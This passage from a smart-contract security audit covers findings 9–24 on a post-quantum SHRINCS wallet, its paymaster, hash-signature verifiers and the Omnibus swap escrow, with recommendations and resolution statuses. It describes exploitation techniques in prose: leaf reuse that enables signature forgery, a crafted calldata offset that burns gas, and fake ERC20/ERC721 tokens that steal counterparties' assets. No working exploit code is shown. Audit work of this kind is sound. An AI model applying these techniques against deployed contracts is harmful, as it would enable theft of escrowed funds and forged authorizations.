We recommend generating one verifier bundle per chain, with `scripts/gen-shrincs-paymaster-verifier.mjs` folding the target chain into the `vaultId`. Folding the chain into `deriveSeedHex` instead needs a migration, since `ShrincsSigner` holds no chain context and the change invalidates every key already derived from it.

Status: Resolved

9. Rotating to an already-installed key resurrects every previously consumed one-time leaf

Severity: Major

- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:635-678](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:544-605](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:681-723](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:381-421](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:205-264](#)
- [ethereum-sdk:INVARIANTS.md:398-411](#)

Every key-install site, the wallet's `rotateKey`, `transferOwnership`, `recoverWallet`, `migrate`, and the paymaster's `rotateStatefulKey`, validates the incoming commitment and unconditionally advances the key epoch, without checking it actually differs from the one already installed. Because the used-leaf bitmap is namespaced by that epoch and resets per-epoch, installing a byte-for-byte identical key opens a fresh, empty bitmap for signing material that's already spent some leaves. Every leaf consumed under the previous epoch reads as unused again, and the contract accepts a second signature over a different message at a leaf whose first, distinct signature is already public in past calldata.

The consequence differs by which key material is reused. For stateful leaves, this undermines the leaf-indexed anti-replay design the whole system is built on: a leaf is meant to authenticate at most one message ever, not once per epoch. Two signatures from the same leaf over two different messages is materially worse than ordinary replay, since it leaks hash-chain preimage information and narrows the search space to forge a third, attacker-chosen message at that leaf, rather than merely permitting resubmission of something already accepted.

For the stateless recovery half it's worse still, and explicitly named as a risk the documentation warns against: the invariant docs state the main key is safe by construction only because every stateless rotation installs an entirely fresh bundle, and that a rotation path carrying the stateless root forward while consuming a signature would silently break that construction. The break-glass recovery path does exactly that when the caller supplies the currently installed bundle as its own target: it consumes a stateless signature while leaving the root unchanged, the exact scenario the documentation calls unacceptable.

The realistic trigger isn't an outside attacker forging from nothing; it's the key holder or an operator rotating a key to itself, deliberately to refresh a nearly exhausted budget without new key material, or accidentally by replaying an earlier rotation. Once that happens, an outside party

who's observed the two now-conflicting signatures, both public in calldata, can attempt to forge a third message at that leaf, dramatically cheaper than forging from an unused one, though not free.

→ [Proof of Concept: P.3](#)

Recommendation

We recommend rejecting, at every one of these five install sites, any rotation whose target decodes to the same underlying tree seed and root as any tree the key has ever held, independent of the declared signature budget or the derived commitment, and recording every such pair a key has ever held so that a rotation which cycles back to a previously used tree is rejected as well, not only an immediate no-op rotation.

We recommend, for the wallet's break-glass recovery path, its atomic ownership-handover path, and its migration path, which additionally accept a caller-supplied stateless tree seed and root distinct from the stateful ones, unlike the routine rotation functions which structurally always reuse the currently installed stateless pair, applying the identical previously-used-pair check to that stateless tree seed and root as well, since reusing it independently breaks the guarantee, stated elsewhere in the project's own documentation, that each stateless tree is meant to authorize at most one accepted signature over its entire lifetime.

Status: Resolved

10. WOTS-C and FORS-C public-key compression omit the ADRS tweak mandated by FIPS 205, leaving the SM-TCR security reduction uninstantiable

Severity: Minor

- [hashsig-solidity:contracts/Hypertree.sol:215-238](#)
- [hashsig-solidity:contracts/Hypertree.sol:303-307](#)
- [hashsig-solidity:contracts/FORSMinusC.sol:124-149](#)
- [hashsig-solidity:contracts/FORSMinusC.sol:193-203](#)
- [hashsig-solidity:contracts/FORSMinusC.sol:323-364](#)
- [hashsig-solidity:contracts/hash/keccak/HashSuite.sol:307-334](#)

SPHINCS+ family constructions compress a set of hash values into a single public-key value using a tweakable hash, whose tweak, the ADRS/address word, identifies the position of that call within the global structure. This implementation performs both of its public-key compressions with no address input at all. The WOTS-C compression preimage in `contracts/Hypertree.sol` is

the nine-byte tag `wots-c-pk`, the thirty-two-byte public seed, and the reconstructed chain endpoints; the FORS-C compression preimage in `contracts/FORSMinusC.sol` is the seven-byte tag `fors-pk`, the public seed, and the per-tree roots. The hash-suite helpers that consume these buffers, `hashWotsCPk32` and `hashForsPk32`, are bare `keccak256` invocations plus the profile hash mask, contributing no address material: `verifyWotsC32`'s `addressBase` is passed only to the chain function, and `forsAddressBase` is used for every FORS leaf and node but never for the FORS public-key compression.

FIPS 205 mandates the tweak at precisely these two points: Algorithm 8, `wots_pkFromSig`, derives a dedicated address with type `WOTS_PK` and the key-pair address before the tweakable hash, and Algorithm 17, `fors_pkFromSig`, does the same with type `FORS_R00TS`, stating in section 4.2 that the address mitigates multi-target attacks. `WOTS_PK` (value one) and `FORS_R00TS` (value four) are the only two of the standard's seven address types never declared anywhere in `contracts/`, while types zero, two and three are each declared with a FIPS 205 section 4.2 citation. The normative SHRINCS specification tweaks both sites too, even where internal hypertree signatures skip the message-digest phase entirely and have no other public-key binding, stating that the tweak is critical because it stops a hash computed at one Merkle-tree position from being substituted for another.

No exploit was found and none is claimed. No generic multi-target batching attack materialises, but the protection is structural rather than proven: the chain and node hash functions remain correctly tweaked, so chain endpoints and FORS roots are already position-bound before compression. That protection is absent on the FORS side specifically, since the FORS digest binds only the shared global `hypertreeRoot` and derives, rather than binds, the tree and leaf coordinates.

The honest provable fallback is single-function multi-target second-preimage resistance, whose generic bound carries a factor equal to the number of targets; for the `128s-q20` profile (sixteen-byte hash length, hypertree height eighteen) the bound at both sites falls from one hundred twenty-eight bits to roughly one hundred ten. There is also a concrete loss of defense in depth: Perlner, Kelsey and Cooper's attack on category-five SPHINCS+ with SHA-256 targets WOTS public-key compression directly, exploiting that a base-`w` digit at its maximum value costs the verifier zero hash calls, so its address is never incorporated. Under `128s-q20` (thirty-two chains, chain length sixteen, target sum two hundred forty), up to sixteen of the thirty-two endpoint words, half the compression input, can be attacker-chosen with the remainder at digit zero. SPHINCS+'s remaining barrier there is a distinct compression address prefix, which the paper must defeat with an expensive herding construction; here the prefix is only the tag and public seed, byte-identical across every leaf, so that barrier is absent.

Recommendation

We recommend adding the position tweak to both compression preimages, using the address types that FIPS 205 and the normative SHRINCS specification already assign to these sites: type one for the WOTS public-key compression in `contracts/Hypertree.sol`, and type four for the FORS roots compression in `contracts/FORSMinusC.sol`, each carrying the key-pair address as those specifications require. All signature vectors must be regenerated in lockstep with the Rust signer, since this changes the hash preimages.

Status: Resolved

11. Signatures verify under public keys that never signed them

Severity: Minor

- [hashsig-solidity:contracts/SHRINCSVerifier.sol:160-166](#)

`SHRINCSVerifier.verify` in `contracts/SHRINCSVerifier.sol:160-166` forwards the caller's hash to the library, where `toMessage` in `contracts/SPHINCSPlusC.sol:196-202` returns it unchanged, so the signed message binds no public key.

Neither `HashSuite.uxmssWotsPk32` in `contracts/hash/keccak/HashSuite.sol:380-394` nor `HashSuite.statefulParentHash32` in lines 266-300 binds `maxSignatures`, so leaves are shared across different `maxSignatures`, and `UXMSS.rootFromUnbalancedPath` in `contracts/UXMSS.sol:212-240` folds `authPath[0]` without constraint.

The first auth-path entry summarizes the leaves above the signed one, so under a same-seed key whose `maxSignatures` equals that leaf, it is the empty-tail node, which anyone can recompute from the published `pkSeed`. Lower leaves need only the hashes that spending the leaves above them have already published.

Once the signer has spent leaves up to that budget, a same-seed key accepts every message they authorized at those leaves, none of which the key signed, so deriving two keys from one seed with different `maxSignatures`, for example to separate applications, gains no separation.

The attacker only replays signatures the user already made, and `matchesExpectedPublicKeyCommitment` in `contracts/SHRINCS.sol:924-942` binds the root and `maxSignatures` at the key boundary, so the signer must voluntarily generate two keys from one seed with different `maxSignatures` for any of this to be reachable.

Recommendation

We recommend binding the installed `publicKeyCommitment` into the digest that `_verifyStateful` in `contracts/SHRINCSVerifier.sol:253-273` and `verifyStateless` in line 191 pass to the library. Hence, a raw-path signature verifies only under the key it was issued for.

Status: Resolved

12. Unchecked pointer subtraction burns all gas forwarded to `verifyStateless`

Severity: Minor

- [hashsign-solidity:contracts/SHRINCS.sol:703](#)

`contracts/SHRINCS.sol:703` computes the length of the signature half as `sub(bodyEnd, signature)`, where `signature` is where that data starts and `bodyEnd` marks the end, and line 707 copies that many bytes. Nothing checks that the start comes before the end.

Canonical encodings place a struct's data after the pointer describing it, but the attacker controls both. `contracts/SHRINCS.sol:770-787` takes the start from an unvalidated word, putting it at `E+0x400`. Offsets are relative to that start, and the `Signature.hypertree` offset is $2^{256} - 0x200$, so the addition wraps past 2^{256} and `E+0x400 + (2256 - 0x200)` resolves to `E+0x200`. The data now sits 512 bytes before its own start. `solc` bounds that offset with a signed comparison, so it passes, and every later read still lands inside `calldata`, so nothing reverts: each pointer is checked against `calldatasize()` alone, never against the other.

The end therefore falls below the start, and the subtraction wraps to $\sim 2^{256}$. Pricing the memory expansion for a copy that size exceeds any gas budget, so the frame halts out-of-gas rather than reverting, keeping everything it was forwarded.

`contracts/SHRINCSVerifier.sol:191` reaches this permissionlessly and takes the ERC-7913 key as a caller parameter, so no key material or valid signature is required. See `test/PoCSliceEndToEnd.t.sol`.

Rejecting an ordinary invalid signature costs 27,448 gas; the crafted envelope costs the caller's whole gas limit. A relayer paying to verify bytes it did not author loses that for the same "not authorized" answer, and a `try/catch` recovers the return value but not the gas. A relayer that simulates first is not exposed, since `eth_estimateGas` fails at every limit.

Recommendation

We recommend bounding the copy on both sides before the `calldatacopy` in `contracts/SHRINCS.sol:707`, rejecting `bodyEnd` below `signature` and above `calldatasize()`. `solc`'s tail bounds are signed, so an offset at or above 2^{255} passes with a zero length.

Status: Resolved

13. `withdrawFees` does not reject the zero address as a destination

Severity: Minor

- [quip-swap-solidity:src/Omnibus.sol:303-309](#)

`withdrawFees` reads the current `accruedFees`, clears the `accruedFees` storage slot, and forwards the amount to the caller-supplied to address with no validation of that address.

A mistaken or empty argument sends the entire accrued fee balance to the zero address in a single call, unrecoverable.

Recommendation

We recommend reverting in `withdrawFees` when `to == address(0)`, matching the zero-address check already performed in `setVerifierActivity`.

Status: Resolved

14. An unbounded `reclaimRelease` can brick a leg's refund forever, and `type(uint256).max` always does

Severity: Minor

- [quip-swap-solidity:src/TermsLib.sol:167-185](#)
- [quip-swap-solidity:src/TermsLib.sol:200-216](#)
- [quip-swap-solidity:src/Omnibus.sol:218](#)

`validateTerms` requires the three lifecycle deadlines to be strictly increasing and `commitmentDeadline` nonzero, but places no upper bound on `reclaimRelease`. `reclaim` gates its window with `TermsLib.enforceWithin`, called against a fixed upper bound of `type(uint256).max`, and `enforceWithin` itself reverts with `InvalidRange` whenever its lower bound is greater than or equal to its upper bound. A side whose `reclaimRelease` is set to exactly

`type(uint256).max` therefore has `lower == upper` on every call, so its `reclaim` path reverts at every timestamp, forever. Because the deadline ordering required at `commit` time only allows the taker's `reclaimRelease` to be the later of the two, only the taker's side can carry this exact value, and `validateTermPairing` does nothing to reject it. Any value merely close to, but short of, the maximum produces the same practical outcome without tripping the exact degenerate-range revert, since no realistic chain will ever reach a multi-thousand-year timestamp.

On a same-chain swap this is not fund-fatal: the proposer's own `reclaim` call is gated only by her own `reclaimRelease`, and its committed branch unconditionally returns both legs, including the taker's, once that unbricked value passes, regardless of the taker's own bricked `reclaimRelease`. On a cross-chain swap there is no such fallback: each chain only ever settles its own local leg, so a taker whose `reclaimRelease` is set this way, or who accepts terms where it is, has no path to recover that leg once its own `claimDeadline` has passed without a `claim`. The funds remain permanently escrowed in the contract, with no owner-sweep or other recovery mechanism able to release them.

Recommendation

We recommend rejecting `type(uint256).max` for `reclaimRelease` directly in `validateTerms`, and considering a sane maximum horizon relative to `block.timestamp` at `commit` time so that impractically distant schedules are rejected outright rather than merely being economically equivalent to a permanent lock.

Status: Partially Resolved

The client partially resolves the issue stating that validation of sane deadline horizons is considered the responsibility of the SDK layer rather than the on-chain contract itself. A fix has been implemented to reject `type(uint256).max` explicitly, addressing the degenerate-range revert case identified in the finding. The client accepts that broader horizon sanity checks remain outside contract scope, with the SDK expected to prevent impractically distant schedules from reaching the chain.

15. Cross-chain clock skew defeats the taker fairness buffer and lets the proposer take both legs

Severity: Minor

- [quip-swap-solidity:src/Omnibus.sol:166-183](#)
- [quip-swap-solidity:src/Omnibus.sol:218](#)

The deadline interleaving check is exact, but every window is computed from each chain's own `block.timestamp`. The fairness model assumes both chains share a clock. The taker's buffer is `[proposer.claimDeadline, proposer.reclaimRelease)`, measured on the proposer's chain. It exists to give the taker time to use the revealed secret on the proposer's chain before the proposer can reclaim.

Cross-chain, that buffer is only as good as the clock skew. Say the taker's chain lags the proposer's chain by more than the buffer. The proposer claims at the last instant of his window on the taker's chain. In wall-clock, that same instant is already past `reclaimRelease` on the proposer's chain, and the taker's window there has just closed. The proposer collects the taker's leg and immediately reclaims her own. Both legs go to the proposer, with honestly interleaved deadlines and no mis-ordered terms.

No contract bug causes this. Timestamp flexibility is a chain property. Sequencer-set L2 timestamps can deviate from wall-clock, and no two chains share a perfect clock. The exposure depends on the chain pair and the negotiated buffer size. No document states a clock-synchrony assumption, so integrators have no reason to size buffers with skew in mind.

→ [Proof of Concept: P.4](#)

Recommendation

We recommend stating the clock-synchrony assumption wherever the fairness model is documented. Additionally, size the taker's buffer to exceed the maximum plausible clock skew for the chain pair, not just the expected block time. Have clients warn when the negotiated buffer is smaller than the known skew of the two chains.

Status: Resolved

16. The owner can change the commitment fee between a same-chain swap's two commits and stall the second one

Severity: Minor

- [quip-swap-solidity:src/Omnibus.sol:111](#)
- [quip-swap-solidity:src/Omnibus.sol:295-300](#)

The commitment fee is read live at commit time from the `commitmentFee` state variable and is not part of the terms digest either party signs. A same-chain swap requires two separate commit calls, and the owner can change `commitmentFee` via `setCommitmentFee` in the interval between the proposer's commit and the taker's commit. Because the required native value is checked exactly against `party.totalNative() + commitmentFee`, a taker whose transaction was built against the old fee reverts with `IncorrectNativeAmountReceived` rather than settling, and must rebuild and resubmit using the new fee before the swap can complete.

The impact is bounded by `MAX_FEE` and is a liveness inconvenience only: no funds are lost or misdirected, and the swap still completes once the taker resubmits with the correct amount, though a tight window between the two commits could let the taker's `commitmentDeadline` pass before they notice and resubmit.

Recommendation

We recommend either folding the commitment fee into the signed terms so both sides commit to a fixed value that cannot change mid-swap, or documenting explicitly that the live fee can change between a same-chain pair's two commits so integrators build retry logic around it.

Status: Acknowledged

The client acknowledges the issue stating that the inconvenience is acceptable, as the taker retains the ability to resubmit their transaction with the updated commitment fee to complete the swap. No funds are at risk, and the disruption is limited to a liveness delay rather than any loss or misdirection of assets. The client is aware of the bounded impact and has chosen to accept the risk without modifying the current fee handling mechanism.

17. The Claim event's recipient field actually records the caller, not the asset recipient

Severity: Minor

- [quip-swap-solidity:src/Omnibus.sol:152-207](#)
- [quip-swap-solidity:src/interfaces/IOmnibus.sol:108-112](#)

IOmnibus documents the Claim event's first field as the address receiving the claimed assets and names it recipient accordingly, but claim's emit statement passes msg.sender as that field, not the address that receives any escrowed asset. Since claim is permissionless and secret-gated, any third party who learns the secret, such as a relayer or a mempool observer, can submit the claim transaction; the real payouts always go to party.recipient and, for same-chain swaps, counterparty.recipient, addresses fixed in their terms which need not match the caller.

This has no effect on the actual asset flow, which remains pinned by the terms regardless of who calls claim, but any indexer, accounting system, or downstream application that trusts the documented meaning of the field will misattribute settlement to the wrong address.

Recommendation

We recommend renaming the field to caller in both the interface and any generated ABI or SDK bindings, so its name matches what is actually emitted. If recipient attribution is genuinely needed for off-chain consumers, we recommend emitting the actual terms-pinned recipient addresses instead, using separate fields or a second event for the same-chain case where two recipients are paid in one call.

Status: Resolved

18. Non-compliant ERC721 assets can be marked posted without Omnibus ever taking custody

Severity: Minor

- [quip-swap-solidity:src/TermsLib.sol:261-278](#)
- [quip-swap-solidity:src/TermsLib.sol:224-240](#)
- [quip-swap-solidity:src/Omnibus.sol:139-149](#)

When a party's terms include an ERC721 asset, TermsLib.transferAssetsNoNative calls transferAsset, which in turn calls the token's safeTransferFrom function and treats a non-reverting call as proof the NFT was transferred, with no ownership check afterward. This differs

from how the same function handles ERC20 and ERC1155 assets, where the balance delta is measured and verified. The ERC721 standard's `safeTransferFrom` has no return value to check in the first place, so this omission cannot be closed the same way; it can only be closed by querying ownership directly.

Because any address can be supplied as an asset's target contract, a swap participant can offer an ERC721 contract they control whose `safeTransferFrom` implementation simply returns without reverting and without reassigning the token. `Omnibus.onERC721Received` unconditionally returns the expected selector and performs no verification of its own, so nothing in the receiving path catches this either. Once that call returns, `commit` proceeds to record `posted[lock][partyDigest] = true` and advances `lockState`, exactly as if a genuine NFT had been escrowed. The attacker can then let the swap proceed to `claim`, or wait to `reclaim` after the deadline, and collect the counterparty's genuinely deposited assets while `Omnibus` never actually held the NFT it believed it was holding.

Recommendation

We recommend verifying custody explicitly for every incoming ERC721 asset: immediately after the `safeTransferFrom` call in `transferAssetsNoNative`, call the token's `ownerOf` function for the specific token id and require it to return the address of the `Omnibus` contract, reverting the `commit` otherwise. We recommend the same check in reverse on payout, requiring `ownerOf` to return the intended recipient's address after the transfer in `transferAsset`, so a non-compliant ERC721 cannot silently fail to deliver the asset during `claim` or `reclaim` either.

Status: Acknowledged

The client acknowledges the issue stating that the protocol considers this risk to fall within the user's responsibility to conduct due diligence on the assets they choose to interact with. Because a malicious ERC721 contract could equally fabricate the result of an `ownerOf` call, the client does not consider a post-transfer ownership check a sufficient mitigation. The client accepts the risk and expects users to verify the legitimacy of any token contract before including it in a swap.

19. Malicious ERC20 or ERC1155 assets can under-deliver on payout while claims and reclaims still succeed

Severity: Minor

- [quip-swap-solidity:src/TermsLib.sol:224-240](#)
- [quip-swap-solidity:src/TermsLib.sol:246-251](#)
- [quip-swap-solidity:src/TermsLib.sol:261-278](#)
- [quip-swap-solidity:src/Omnibus.sol:191-204](#)
- [quip-swap-solidity:src/Omnibus.sol:239-255](#)

Omnibus validates incoming ERC20 and ERC1155 deposits carefully: `TermsLib.transferAssetsNoNative` measures Omnibus's balance before and after the incoming transfer and reverts with `UnexpectedAmountReceived` unless the increase equals exactly the declared amount, which defends against fee-on-transfer or deflationary tokens under-funding the escrow at deposit time. No equivalent check exists on the way out: `claim` and `reclaim` both settle through `TermsLib.transferAssets`, which simply calls `transferAsset` for each asset and trusts that a successful low-level call means the full declared amount was delivered.

Because any address can be supplied as an asset's target contract, with no allowlist, a swap participant can offer an ERC20 or ERC1155 contract they themselves control as their side of the trade. That contract can behave honestly during the deposit, satisfying the balance-delta check in `transferAssetsNoNative` using the participant's own freely mintable tokens (called via `transferFrom`), while implementing different logic in its `transfer` function when it observes that the caller is Omnibus itself performing a payout, for example by returning success while transferring nothing, transferring less than the requested amount, or debiting Omnibus for more than the requested amount.

An attacker can therefore post a fake token as their own leg, wait for the counterparty to post a genuinely valuable asset, claim that valuable asset once the secret is available or the deadline conditions are met, and let the payout of their own leg deliver nothing or almost nothing back to the counterparty, at essentially zero real cost to themselves since the token they posted was one they minted for free. A token that over-debits Omnibus during payout additionally consumes balance that other, unrelated locks holding the same token are relying on, compounding the impact across the pool.

Recommendation

We recommend reconciling every ERC20 and ERC1155 payout the same way deposits are already reconciled: measure the recipient's balance and Omnibus's own balance immediately before and after each transfer inside `transferAssets`, and revert the entire `claim` or `reclaim` if the recipient's increase or Omnibus's decrease does not equal the declared amount. We further

recommend documenting that assets with unstable or address-dependent transfer behavior are unsupported, and considering an allowlist of vetted asset contracts for parties who want protection beyond the balance reconciliation.

Status: Acknowledged

The client acknowledges the issue stating that they have chosen to address it through documentation rather than code-level restrictions, adopting a "do your own research" approach that places responsibility on users to verify asset contracts before participating in a swap. The fix, implemented in the referenced merge request, clarifies that assets with non-standard or address-dependent transfer behavior are unsupported. The client accepts the residual risk of malicious token contracts, treating asset vetting as a user-side obligation rather than an on-chain enforcement concern.

20. The 8-slot upgrade guard does not cover the used-leaf bitmap, letting a vetted-but-flawed upgrade target silently un-burn one-time signatures

Severity: Minor

- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:459-465](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:467-479](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:1297-1315](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:1317-1366](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWalletStorage.sol:57-63](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWalletStorage.sol:76-96](#)
- [ethereum-sdk:contracts/interfaces/IWallet.sol:25-46](#)
- [ethereum-sdk:contracts/shrincs/interfaces/IShrincsWallet.sol:250-253](#)
- [ethereum-sdk:INVARIANTS.md:290-306](#)
- [ethereum-sdk:INVARIANTS.md:361-376](#)

`upgradeToAndCall` delegatecalls the new implementation's `verifyUpgrade` and, optionally, `migrate`, both running arbitrary code in the wallet's own storage context. `verifyUpgrade` is declared `external view`, but that's only a caller-side ABI promise: the call site is a genuine `DELEGATECALL`, not a `STATICCALL`, so nothing in the EVM stops the target's function body from writing storage.

The only on-chain defense is a snapshot-and-diff of eight fixed scalar slots (owner, ERC-1967 implementation, factory, main key commitment, ERC-1271 commitment, key epoch, action nonce, and the packed leaf-usage counter), taken before the `verifyUpgrade` delegatecall and

checked after; `migrate` has no equivalent diff, by design, since it legitimately rotates several of the same slots during a real migration.

The used-leaf bitmap, the sole anti-replay mechanism for the wallet's one-time signatures, is not one of the eight guarded slots. Its per-word slots are trivially computable off-chain from the wallet's published storage namespace, the current key epoch, and the leaf index, all public values, confirmed by computing the exact slot for a representative leaf. A `verifyUpgrade` or `migrate` implementation can compute that slot directly and clear previously-used bits with a plain storage write, inside the `delegatecall`, without touching any guarded slot, and the write persists permanently once the call completes since `delegatecall` storage writes aren't sandboxed or rolled back.

Because the underlying signatures are one-time, this is not mere replay. Once a consumed leaf's bit is cleared, the bitmap no longer distinguishes it from a fresh one, and anyone who observed that leaf's previously broadcast signature, plaintext in past calldata, can forge a new, different action at it, up to a forged execute, key rotation, or ownership transfer, a materially more severe outcome than the scalar-slot tampering the guard was built to catch.

Recommendation

We recommend enforcing a `STATICCALL` for the `verifyUpgrade` reachability probe rather than a `DELEGATECALL`, since its own stated purpose is self-consistency verification, not authorization, and it never legitimately needs write access; this would make the entire class of `verifyUpgrade` storage-tampering issues, not only this one, structurally impossible, and is a stronger and simpler fix than enumerating additional guarded slots. We recommend adding a fourth rule to the interface's vetting checklist requiring reviewers to manually verify that neither `verifyUpgrade` nor `migrate` clears any bit in the used-leaf bitmap for the wallet's current key epoch.

Status: Resolved

21. ShrincsWallet's single-step ownership transfer offers no protection against a mistyped destination address

Severity: Minor

- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:544-605](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:798-811](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:685](#)

`transferOwnership` installs a replacement signing key bundle and assigns the new classical owner in one call, validating the destination only against the zero address. The `Ownable` base's two-step handover is deliberately disabled here, unlike `WalletFactory`, which keeps it enabled.

The post-quantum signatures this function requires authenticate that the genuine key holder submitted this exact call; they don't validate the destination address. A mistyped destination is therefore exactly as catastrophic as in an ordinary single-step transfer, with no extra protection from the post-quantum layer. Because every privileged entry point, including break-glass recovery, is gated to the current owner, a transfer to the wrong address permanently forecloses every recovery path, since fixing it would require authorization from the owner slot the mistake just overwrote.

Recommendation

We recommend considering a two-step confirmation for `transferOwnership`, where the current owner proposes a new owner and the proposed address must separately confirm the transfer before it takes effect, consistent with the pattern `WalletFactory` already uses.

Status: Resolved

22. WalletFactory.vetImplementation's codehash check does not reject externally owned accounts, allowing deposited funds to be silently stranded

Severity: Minor

- [ethereum-sdk:contracts/WalletFactory.sol:68-79](#)
- [ethereum-sdk:contracts/WalletFactory.sol:336-384](#)
- [ethereum-sdk:contracts/interfaces/IWalletFactory.sol:42-43](#)

vetImplementation guards against a bad implementation argument with a single check that the target's codehash is nonzero. Per EIP-1052, that only distinguishes an address that's never existed in chain state from everything else; it doesn't distinguish real contract bytecode from a touched EOA or other codeless account (for example one that's received a balance), which also reports a nonzero, empty-bytecode codehash and passes the guard.

If the factory owner mistakenly vets such an address, for example pasting a signer or multisig address instead of a fresh implementation, it enters the vetted set and can become the active implementation new wallets deploy against. A user deploying through it gets a real, functioning proxy whose implementation pointer is the codeless account; the proxy's delegatecall to it trivially succeeds with empty return data, and since initialize has no return value, the compiler-generated caller code never checks it, so the deployment reports success. The transaction completes normally: the proxy is registered as a valid wallet, and any ETH above the creation fee lands in its balance.

The resulting proxy has no reachable logic: every call, including an attempted fix via upgrade, delegates to the same codeless account and does nothing, so the deposited ETH is permanently unreachable. This is worse than the ordinary bad-implementation case, where vetting a real contract lacking the wallet interface reverts the deployment and funds never leave the user's control; a touched EOA instead produces no error signal at all, defeating that safety net.

→ [Proof of Concept: P.5](#)

Recommendation

We recommend replacing the codehash-based check in vetImplementation with a check on the implementation address's code length, which correctly returns zero for any codeless account, externally owned or otherwise, rather than only for accounts that have never existed in chain state.

Status: Resolved

23. SDK clients allocate one-time leaves from the on-chain bitmap, which records landing, not signing

Severity: Minor

- [ethereum-sdk:src/v1/shrincs/shrincsWalletClient.ts:272-290](#)
- [ethereum-sdk:src/v1/shrincs/shrincsPaymasterClient.ts:149-165](#)
- [ethereum-sdk:src/v1/shrincs/shrincsSigner.ts:244](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:501-503](#)
- [ethereum-sdk:SDK README.md:255](#)

The SDK clients pick each signing leaf by scanning the on-chain used-leaf bitmap: `shrincsWalletClient.lowestUnusedLeaf` (`shrincsWalletClient.ts:278`) reads the wallet bitmap over multcall, and `shrincsPaymasterClient.lowestUnusedLeaf` (`shrincsPaymasterClient.ts:151`) does the same for sponsorships. `shrincsSigner.ts:244`: "Unlike the WOTS+ QuipSigner, there is no burn set: SHRINCS is stateful and the on-chain used-leaf bitmap is authoritative."

The bitmap records landing, not signing: a leaf is marked only once a consuming transaction lands. A reverted execute rolls back the mark and a different message at that leaf then validates; a signed-but-dropped `userOp` leaves its leaf free for a replacement; a second, concurrently signed sponsorship is rejected only after the first lands, so both were public before either did. Every case is a bitmap-guided retry signing a second message at a leaf whose first signature is already public, producing two or more public WOTS-C signatures over one leaf.

Two signatures at one leaf collapse its forgery cost to roughly 2^{72} in the 256s parameter set, lower with each further signature. A forged second sponsorship draws down the `EntryPoint` deposit with no ECDSA second factor; the wallet's hybrid AND-gate still needs the owner's key there. This is unlikely to recur before any leaf is signed twice, especially in the 256s profile.

→ [Proof of Concept: P.6](#)

Recommendation

We recommend tracking leaf use with a durable consume-before-sign reservation keyed by (commitment, keyVersion, leaf), persisted before any signature leaves the process. Treat the on-chain bitmap as a lower bound on spent leaves, never as the allocator. For the paymaster, take an atomic reservation per sponsorship request so concurrent requests cannot share a leaf. Wire `markLeavesUsed` for reservations known to be unlanded, or document the manual burn step.

Status: Acknowledged

The client acknowledges the issue stating that in-process leaf reservation (via `leafReservation.ts`) has been added to both clients, closing the reverted-execute, dropped-bundle, and concurrent-sponsorship cases within a signing session. No persistent reservation store or automated `markLeavesUsed` will be introduced, as the SDK is a library without ownership of a process model or durable store, and such a layer would merely shift responsibility to the integrator. For leaves known to be signed but unlanded, the documented mitigations remain manual `markLeavesUsed` calls or key rotation.

24. ShrincsWallet and ShrincsPaymaster accept an operator-declared signature budget with no upper bound, letting the underlying unbalanced authentication path grow into an un-includable leaf range

Severity: Minor

- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:203-211](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:355-370](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:404-412](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:588-596](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:646-672](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:706-716](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:1017-1027](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:1145-1152](#)
- [ethereum-sdk:contracts/shrincs/ShrincsWallet.sol:986-994](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:129-153](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:225-262](#)
- [ethereum-sdk:contracts/ShrincsPaymaster.sol:330-398](#)

Every stateful signature the wallet or paymaster accepts derives its anti-replay leaf index from the length of the caller-supplied authentication path, before the signature is verified, and every call site rejects only a leaf of zero or one above `maxSignatures`. The underlying scheme is an unbalanced tree, not a balanced Merkle tree: reconstructing the root for leaf N walks N minus one parent-hash steps before comparing against the stored root, so on-chain verification cost grows linearly, and unboundedly, in the leaf index. This follows directly from the dependency's own root-reconstruction loop, which iterates once per unit of path length, and both contracts read that length straight out of the caller-supplied signature to pick the leaf they're about to consume.

Neither contract ceilings the budget. Every key-install site, the wallet's `initialize`, `rotateKey`, `transferOwnership`, `recoverWallet`, `migrate`, and the paymaster's `initialize` and `rotateStatefulKey`, decodes `maxSignatures` straight out of the caller-supplied key bytes and rejects it only when it's exactly zero, a plain four-byte read with no cryptographic binding to the tree's real capacity. Since it's a plain `uint32`, an operator can declare a budget orders of magnitude larger than this project's own tooling exercises, and both contracts accept it as declared. `remainingStatefulSignatures` reports that budget minus leaves used as an undifferentiated count, with nothing hinting that leaves near the top cost dramatically more gas to redeem than leaves near the bottom.

The consequence is concrete: once installed, leaf indices far enough into an oversized budget become effectively unusable, either exceeding any realistic gas budget or too expensive to be worth including, permanently stranding that portion of the budget despite genuine signatures backing it. This is self-inflicted for a wallet, since only its own owner and future signatures are affected. It's worse for the paymaster, whose single global key serves every sponsored wallet: whoever's sponsored operation lands on a high leaf bears the cost, not the owner who chose the budget, and a paymaster serving many wallets long-term has an obvious, non-malicious incentive to over-declare rather than rotate its key often.

Recommendation

We recommend adding an explicit upper bound on the decoded `maxSignatures` value at every site in `ShrincWallet.sol` and `ShrincPaymaster.sol` that currently checks only for a nonzero value, so that a budget which cannot realistically be redeemed across its full range is rejected at install time rather than silently accepted.

